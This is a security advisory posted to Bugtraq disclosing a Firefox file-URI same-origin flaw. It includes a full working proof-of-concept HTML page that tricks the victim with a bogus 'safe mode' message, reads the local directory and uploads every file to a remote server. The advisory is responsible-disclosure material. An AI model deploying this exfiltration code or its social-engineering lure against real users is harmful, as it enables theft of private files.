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Message-Id: <201901161746.x0GHkHHU004700@ip-100-122-153-233.us-east-1.ec2.aws.symcpe.net>
Date: Wed, 16 Jan 2019 17:46:17 GMT
From: vladimir.bostanov@...s.de
To: bugtraq@...urityfocus.com
Subject: [SYSS-2018-041] Mozilla Firefox - Information Exposure
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Hash: SHA512
Advisory ID: SYSS-2018-041
Product: Firefox
Manufacturer: Mozilla
Affected Versions: <= 64
Tested Versions: 61, 62, 63, 64
Vulnerability Type: Information Exposure (CWE-200)
Risk Level: Medium
Solution Status: Open
Manufacturer Notification: 2018-07-19
Solution Date: -
Public Disclosure: 2019-01-16
CVE Reference: Not yet assigned
Author of Advisory: Dr. Vladimir Bostanov, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
Mozilla Firefox is a web browser available for various platforms including
Windows, Linux, Mac, Android, and iOS [1]. It is one of the most popular
web browsers according to StatCounter [2].
An overly liberal same-origin policy for file URIs and a bug in the
implementation of this policy make Firefox vulnerable to exposure of local
files to a remote attacker.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
Firefox's same-origin policy for file URIs allows local files to read
other files in the same directory but not the directory index [3]. For
example, a file with the URI file:///home/joe/Dowloads/aFile.html can read
file:///home/joe/Dowloads/anotherFile.html, but it should not be able to
read file:///home/joe/Dowloads/. We discovered, however, a violation of
this policy in the special case when a user first opens a local directory,
e.g., file:///home/joe/Dowloads/, in the browser and from there navigates
to a file in this directory, e.g., file:///home/joe/Dowloads/aFile.html.
In this case, aFile.html can read the Downloads directory index. This
allows a malicious script in aFile.html to read all files in this
directory by referring to each of them by its respective filename, and to
send all the data to a remote server controlled by the attacker.
The following attack scenario seems plausible. A user saves a HTML file in
the Downloads folder. The victim user might have received the file per
email; or downloaded it from a malicious website offering, e.g. free
eBooks, or picture albums, etc.; or downloaded it from a corporate website
where a malicious employee had uploaded it. The victim clicks on the
filename in the file manager. The file is opened with the default Firefox
browser. The victim is presented with a directory index and a message
explaining that the file is "protected" and the user should open it in
"safe mode" by clicking on the link in the directory index. The victim
clicks again on the filename, this time in the browser's directory
listing. The contents of the HTML document is displayed. In the
background, the malicious JavaScript reads, first, the directory index,
then, the contents of each file in the Downloads directory, and sends all
these data to a website controlled by the attacker.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
We offer a test website [5] where a user can check if a browser is
vulnerable to evilXHR. The above scenario is implemented by the following
HTML file evilXHR.html:
<!DOCTYPE html><html><head><meta charset="UTF-8"><title>evilXHR</title>
<!-- evilXHR.html, when stored locally and opened in a Firefox browser,
displays the current directory index in an iframe and then prompts the
victim user to reopen the file in the iframe by clicking on the
corresponding link (evilXHR.html) in the directory listing. When opened in
this particular way, evilXHR.html has access to the directory index and
can upload all files from the current directory to a remote server
(controlled by the attacker), by reading the file names and the data with
XMLHttpRequest().
Author: Vladimir Bostanov, SySS GmbH -->
<script src="https://ptvb.sy.gs/evilXHR/base64ArrayBuffer.js"></script>
<!-- Jon Leighton's base64 converter available at
https://gist.github.com/jonleighton/958841 -->
<script>
// The script will be called from this HTML file:
var htmlName = 'evilXHR.html';
// Files will be uploaded to this site:
var siteURL = 'https://ptvb.sy.gs/evilXHR/';
var phpURL = siteURL + 'upload.php';
var cType = 'application/x-www-form-urlencoded';
var guID = Date.now() + Math.random().toString().substr(3,8);
var uploadPathURL = siteURL + 'Uploads/' + guID;
//-------------------------------
function singleFileEvilXHR(fName)
{
var xGetFile = new XMLHttpRequest();
xGetFile.onreadystatechange = function()
{
if (this.readyState == 4)
{
var xPostFile = new XMLHttpRequest();
xPostFile.open('POST', phpURL);
var fURL = encodeURIComponent(this.responseURL);
var fData = encodeURIComponent(base64ArrayBuffer(this.response));
xPostFile.setRequestHeader('Content-Type', cType);
xPostFile.send('guID='+guID + '&fURL='+fURL + '&fData='+fData);
}
}
xGetFile.open('GET', fName);
xGetFile.responseType = 'arraybuffer';
xGetFile.send();
}
//-------------------------------
function allFilesEvilXHR()
{
var xGetDir = new XMLHttpRequest();
xGetDir.onreadystatechange = function()
{
if (this.readyState == 4)
{
var xPostDir = new XMLHttpRequest();
xPostDir.open('POST', phpURL);
var dData = encodeURIComponent(this.response);
xPostDir.setRequestHeader('Content-Type', cType);
xPostDir.send('guID=' + guID + '&dData=' + dData);
var dirIndex = this.response.split('\n');
for (var n = 2; n < dirIndex.length-1; n++)
{
var dirIndexEntry = dirIndex[n].split(' ');
if (dirIndexEntry[4] == 'FILE' && dirIndexEntry[1] != htmlName)
{
singleFileEvilXHR(dirIndexEntry[1]);
}
}
}
}
xGetDir.open('GET', '.');
xGetDir.responseType = 'text'
xGetDir.send();
}
//-------------------------------
function evilXHR()
{
if (navigator.userAgent.search('Firefox') == -1)
{
document.body.innerHTML =
'<h1>This file must be opened with Mozilla Firefox</h1>';
return;
}
var out = document.getElementById('out');
var msg = document.getElementById('msg');
var ifr = document.getElementById('ifr');
var cnt = document.getElementById('cnt');
var xEN = document.getElementById('xEN');
var xDE = document.getElementById('xDE');
if (window.self == window.top)
{ // The file is opened in the top window.
if (location.search != '?mode=safe')
{ // The file was opened in the top window
// directly (i.e., NOT via dir index).
document.body.removeChild(cnt); // Hide camouflage content.
msg.setAttribute('class','visible'); // Show bogus message.
ifr.setAttribute('class','visible'); // Show dir index in iframe.
ifr.setAttribute('height','700');
}
else // The file has been reopened via directory index. Hence,
{ // it has access to the dir index, i.e. to all filenames.
document.body.removeChild(msg); // Hide bogus message.
document.body.removeChild(ifr); // Hide iframe.
cnt.setAttribute('class','visible'); // Show camouflage content.
allFilesEvilXHR(); // Upload all files + directory index
xEN.href = uploadPathURL; xDE.href = uploadPathURL;
xEN.innerHTML = uploadPathURL; xDE.innerHTML = uploadPathURL;
}
}
else // The file has been reopened in the iframe.
{
out.href = location.href + '?mode=safe';
out.click(); // Reopen the file in the top window.
}
document.body.style = 'visibility:visible';
}
</script>
<style>
body {font-size:large; max-width:60em;}
code {font-size:125%}
code.blue {color:blue}
button {color:green}
div#msg {padding-left:1em; color:red; background:yellow;}
.visible {width:100%; margin:0; border:0 none; visibility:visible;}
.hidden {width:0; height:0; margin:0; padding:0; border:0 none;
overflow:hidden; visibility:hidden;}
</style>
</head><body onload="evilXHR()">
<a id="out" class="hidden" href="" target="_top"></a>
<div id="msg" class="hidden">
The file <code>evilXHR.html</code> is protected.
Click on the link <code class="blue">evilXHR.html</code>
below to open it in safe mode. <button type="button"
onclick="document.body.removeChild(msg)">OK, I got it!</button>
</div>
<iframe id="ifr" class="hidden" src="."></iframe>
<div id="cnt" class="hidden">
<h1>evilXHR</h1>
<p>This file, <code>evilXHR.html</code>, attempts to upload files from
your computer/mobile device to our server. In case of success, you will
find the copies of your files during the next 2 to 3 minutes at the
following
location (larger files take longer to upload):</p>
<p><a id="xEN" href="" target="_blank"></a></p>
<p><b>Note:</b> In the case of a real attack, some camouflage content
(e.g., an eBook, or a picture album, etc.) will be displayed here
instead of the current text, in order to conceal the data theft
from the victim.</p>
<h1>evilXHR — Deutsch</h1>
<p>Diese Datei, <code>evilXHR.html</code>, versucht Dateien von Ihrem
Computer oder mobilem Gerät auf unseren Server hochzuladen. Wenn das
gelingt, können Sie die Kopien Ihrer Dateien in den nächsten 2 bis 3
Minuten unter dem folgenden Link finden (größere Dateien werden
langsamer hochgeladen):</p>
<p><a id="xDE" href="" target="_blank"></a></p>
<p><b>Bemerkung:</b> Im Falle eines echten Angriffs würden hier statt
dieses Texts andere Inhalte als Tarnung stehen (z.B. ein eBook, oder
schöne Bilder, usw.), damit das Opfer den Datendiebstahl nicht merkt.</p>
</div>
</body></html>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
~ If you store and open HTML files locally, save them in a directory
that does not contain any personal or confidential data.
~ Do not use the directory index of the browser for navigation.
Open local HTML files directly in the browser.
~ Update to a non-vulnerable Mozilla Firefox version.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2018-07-17: Vulnerability discovered.
2018-07-19: Vulnerability reported to manufacturer.
2018-12-01: Security Advisory sent to manufacturer;
2019-01-15 set as disclosure deadline.
2019-01-16: Vulnerability publicly disclosed.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] Product website for Mozilla Firefox
https://www.mozilla.org/en-US/firefox/
[2] Browser Market Share Worldwide: October 2017 -- October 2018
http://gs.statcounter.com/browser-market-share/all/worldwide/2018/
[3] Mozilla Firefox: Same-origin policy for file URIs
https://developer.mozilla.org/en-US/docs/Archive/Misc_top_level/Same-origin_policy_for_file:_URIs
[4] SySS Security Advisory SYSS-2018-041
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2018-041.txt
[5] evilXHR Test: Check if your browser is vulnerable to evilXHR
https://ptvb.sy.gs/evilXHR/
[6] SySS Responsible Disclosure Policy
https://www.syss.de/en/news/responsible-disclosure-policy/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found
by Dr. Vladimir Bostanov of SySS GmbH.
E-Mail: vladimir.bostanov@...s.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Vladimir_Bostanov.asc
Key ID: 0xA589542B
Key Fingerprint: 4989 C59F D54B E926 3A81 E37C A7A9 1848 A589 542B
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 3.0
URL: https://creativecommons.org/licenses/by/3.0/deed.en
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